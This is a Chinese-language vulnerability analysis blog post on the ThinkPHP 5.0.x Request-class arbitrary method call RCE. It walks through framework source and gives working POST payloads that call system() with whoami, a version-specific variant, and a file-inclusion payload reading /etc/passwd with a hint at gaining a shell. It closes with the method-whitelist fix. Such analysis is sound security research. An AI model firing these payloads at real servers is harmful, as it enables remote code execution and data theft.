ThinkPHP 5.0.0~5.0.23 Request类任意方法调用导致RCE漏洞分析
2019-01-23 00:51:06

[toc] 工作需要,又分析了一遍。之前理解的比较粗略,这次认真的跟了一遍。

漏洞复现

1.png

漏洞分析

代码执行

/thinkphp/library/think/Request.php中 1077行filterValue方法 可以看到如果我们可以控制$filter$value即可构成一个单参数任意代码执行,而这两个变量都来源于filterValue的参数,因此我们需要找到一个调用这个方法的地方进而回溯变量的来源。 2.png 在此文件的第1026-1029行的input方法中,无论$data是否是数组都调用了这个方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function input($data = [], $name = '', $default = null, $filter = '')
{
......
// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
.......
}

array_walk_recursive()函数会对第一个数组参数中的每个元素应用第二个参数的函数。在函数中,数组的键名和键值是参数,且键名是第二个参数,键值是第一个参数。因此我们需要控制的是$data数组的键值以及$filter。 对于$filter来说,需要跟进一下$this->getFilter($filter, $default);$filter为空时,返回$this->filter;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;
return $filter;
}

继续寻找调用input的方法,同文件634行的param方法最终返回了一个$this->input($this->param, $name, $default, $filter);$this->param对应上面的$data,它等于array_merge($this->param, $this->get(false), $vars, $this->route(false));,也就是把get参数、当前方法的参数以及路由参数合并到一起,我们是可以控制其值的。因此我们可以控制上面$data的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}

但是对于$filter我们需要控制Request类的$this->filter

任意方法调用

继续看该文件518行method方法 $this->{$this->method}($_POST);中,如果$this->method可控我们就可以调用该类的任意方法。 首先mehod方法的参数需要为false,不过其默认就是false。然后需要存在$_POST[Config::get('var_method')])Config::get从配置参数中取值, 3.png 在配置文件中可以看到其默认值为_method 4.png 然后$this->method也等于该值post过来的参数值,因此我们可以POST一个_method=方法名进行任意方法调用。 虽然进行了大写转换,但是对于php来说,是不影响的。 5.png

变量覆盖

通过上面的分析,我们知道我们需要控制Request对象的$this->filter属性。 看其构造方法,存在一个任意属性赋值操作。 6.png 因此我们可以配合上面的任意方法调用去覆盖$this->filter的值。 即_method=__construct&filter[]=system 上面我们提到了还需要控制$data数组的键值,也就是$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));这里,跟进$this->get(false) 可以看到当$this->get为空时,$this->get = $_GET;,否则直接返回$this->get

1
2
3
4
5
6
7
8
9
10
11
public function get($name = '', $default = null, $filter = '')
{
if (empty($this->get)) {
$this->get = $_GET;
}
if (is_array($name)) {
$this->param = [];
return $this->get = array_merge($this->get, $name);
}
return $this->input($this->get, $name, $default, $filter);
}

因此payload中get[]=whoami其实也用到了上面的变量覆盖,把$this->get覆盖为值为whoami的array数组。 我们也可以改下payload,让其从$_GET中传值也是可以的。 7.png

触发流程

上面只是漏洞产生原理的分析,我们还需要了解怎么调用的Request类的method方法以及param方法。 thinkphp/library/think/Route.php 836行中的check方法 此处调用了Request对象的method方法,且没有传入参数值,因此其默认参数值为false,符合漏洞利用条件。 8.png/thinkphp/library/think/App.php 617行routeCheck方法调用了Route::check方法。 9.png 想要进入if条件的话,$check需要为true,也就是开启了路由。默认情况下其为true。 10.png 而在应用程序启动类Apprun方法中116行,调用了routeCheck,不过需要$dispatch为空。

1
2
3
4
5
6
7
8
9
// 监听 app_dispatch
Hook::listen('app_dispatch', self::$dispatch);
// 获取应用调度信息
$dispatch = self::$dispatch;

// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}

跟进Hook::listen,默认没有app_dispatch行为,因此$dispatch默认为空。 11.png 接下来是Request对象param方法的触发流程。 /thinkphp/library/think/App.php$dispatch['type']methodcontroller时,也就是说路由会路由到类的方法,会调用Request::instance()->param()12.pngApp类的run方法中也调用了该exec方法,$dispatch参数来源于routeCheck13.png 因此我们还要继续跟self::routeCheck,只需要关注返回值中type的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static function routeCheck($request, array $config)
{
......
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

if ($must && false === $result) {
// 路由无效
throw new RouteNotFoundException();
}
}

// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}

return $result;
}

不断跟进,最终 14.png 看一下调用栈 15.png 关键其实就是$route的值,回溯调用看一下$route从哪里来的 可以看到是checkRoute方法的$rules参数的键值 16.png 继续回溯$rules的值,在check方法中可以看到,他从self::$rules[$method]中取值,这里的method其实就是我们payload中method=get的值,利用上面Request对象的__construct方法覆盖了返回值$this->method17.png ThinkPHP5 中自带的验证码组件captcha注册了一个get路由规则,路由到类的方法,满足case条件。这里可以知道method=get是为了正确获取captcha的路由规则。 18.png 最终我们可以构造出poc 5.0.02-5.0.23

1
2
3
http://127.0.0.1/index.php?s=captcha

_method=__construct&filter[]=system&method=get&get[]=whoami

5.0.0-5.0.12

1
2
3
http://127.0.0.1/index.php?s=index/index

_method=__construct&filter[]=system&method=POST&s=whoami

为什么有两个poc 5.0.1 App类没有exec方法,且switch的每个条件中都没有调用Request对象的param方法。 26.png 不过跟进module条件中,一步步跟入可以看到间接调用了Request::instance()->param(); 27.png 因此我们不用依赖captcha去进入到method流程中,默认index.php?s=index/index会进入module流程中并且$method = $request->method();没有了转换为小写字母的函数,且rules数组键名默认为大写,5.0.23是小写,所以我们payload中method=GET必须使用大写GET28.png 在后续版本中,代码可能也有略微不同,不过我们依然可以构造一个5.0.0-5.0.23通用poc

1
2
3
http://127.0.0.1/index.php?s=captcha

_method=__construct&filter[]=system&method=GET&get[]=whoami

POC2

还有一个poc2,不过仅限于特定版本5.0.21-5.0.23

1
2
3
http://127.0.0.1/index.php?s=captcha

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

回头看Request对象的param方法,他也调用了method,不过参数为true 20.png 因此会进入$this->server 21.png 里面也调用了input方法。 22.png $this->server对应input($data = [], $name = '', $default = null, $filter = '')$data参数,且$nameREQUEST_METHOD不为空,会进入if条件中,获取$data[$name]的赋值给$data,也就是$this->server[REQUEST_METHOD]23.png 此时$data不是数组,会进入$this->filterValue($data, $name, $filter); 24.png 再结合之前的__construct覆盖$filter属性,同样可以造成RCE。

任意文件包含

1
2
3
http://127.0.0.1/index.php?s=captcha

_method=__construct&method=GET&filter[]=think\__include_file&server[]=1&get[]=/etc/passwd

在大多数情况下网站都会禁用system等危险函数,而上面的payload都是单参数的,无法调用file_put_contents进行任意文件写。 不过/thinkphp/library/think/Loader.php中有一个__include_file函数,且Thinkphp基础文件base.php一开始就包含了它。

1
2
3
4
5
6
namespace think;
......
function __include_file($file)
{
return include $file;
}

因此我们可以用call_user_func直接去调用他。 call_user_func("think\__include_file","/etc/passwd"); 然后可以配合文件上传或者日志文件进行包含getshell。

pathinfo与兼容模式

几乎所有的框架(ThinkPHP,Zend Framework,CI,Yii,laravel等)都会使用URL重写或者pathinfo模式,使URL看起来更美观,比如可以隐藏掉入口文件,并且有利于搜索引擎优化。 几种访问模式

1
2
3
4
5
6
7
普通模式。如:http://localhost/index.php?m=模块&a=方法

pathinfo模式。如:http://localhost/index.php/模块/方法

rewrite重写(伪静态) 可以自己写相关的rewrite规则,也可以使用系统为我们提供的rewrite规则隐藏掉index.php,生成:http://localhost/模块/方法

兼容模式。当服务器上面不支持pathinfo模式的时候,但是你又在之前的路径访问格式上面,全部用的是pathinfo格式。那么它会提示你路径格式不正确。那么,你就可以用标号为3的兼容模式来处理。他的路径访问类似于http://localhost/index.php?s=模块/方法

当服务器上面不支持pathinfo模式的时候,可以用兼容模式来使用pathinfo格式的url。 thinkphp5默认的var_pathinfos19.png 因此我们可以使用http://localhost/index.php?s=captcha来访问验证码模块 在某些情况下,如果http://localhost/index.php?s=captcha访问不到验证码模块时,可能是没有安装captcha,也可能是开发人员把默认的PATHINFO变量名给改了。此时可以尝试访问http://localhost/index.php/captcha或者http://localhost/captcha

漏洞修复

设置了$method白名单为['GET', 'POST', 'DELETE', 'PUT', 'PATCH'],从而限制了其调用本类中的方法。 25.png